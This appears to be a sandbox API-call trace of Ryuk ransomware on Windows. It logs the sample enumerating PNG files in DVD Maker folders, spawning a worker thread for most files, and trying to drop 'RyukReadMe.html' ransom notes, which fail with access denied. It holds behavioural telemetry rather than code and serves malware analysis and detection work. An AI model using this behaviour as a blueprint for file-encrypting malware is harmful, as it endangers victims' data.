	[0176.737] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.737] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0176.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64
	[0176.741] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.741] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0176.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68
	[0176.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.744] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x76, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1
	[0176.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c
	[0176.747] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.747] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x76, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1
	[0176.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70
	[0176.750] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.750] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0176.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74
	[0176.753] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.754] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0176.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78
	[0176.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.757] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0176.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c
	[0176.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.760] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0176.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80
	[0176.764] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.764] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0176.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84
	[0176.767] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.767] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0176.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0176.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88
	[0176.925] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0176.926] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0
	[0176.926] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0177.255] SetLastError (dwErrCode=0x0) 
	[0177.255] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.255] GetLastError () returned 0x5
	[0177.255] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0177.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.256] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1
	[0177.257] SetLastError (dwErrCode=0x0) 
	[0177.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.257] GetLastError () returned 0x5
	[0177.257] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0177.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0177.264] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0177.264] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0177.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c
	[0177.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.268] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0177.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90
	[0177.270] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.270] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0177.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94
	[0177.273] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.273] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1
	[0177.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98
	[0177.276] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.276] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x76, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0177.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c
	[0177.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.280] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0177.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0
	[0177.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.283] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0177.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4
	[0177.285] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.286] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0177.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8
	[0177.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.289] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0177.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac
	[0177.290] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.291] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1
	[0177.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0
	[0177.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.467] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x76, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1
	[0177.467] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4
	[0177.469] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.470] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x76, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1
	[0177.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0177.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8
	[0177.474] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
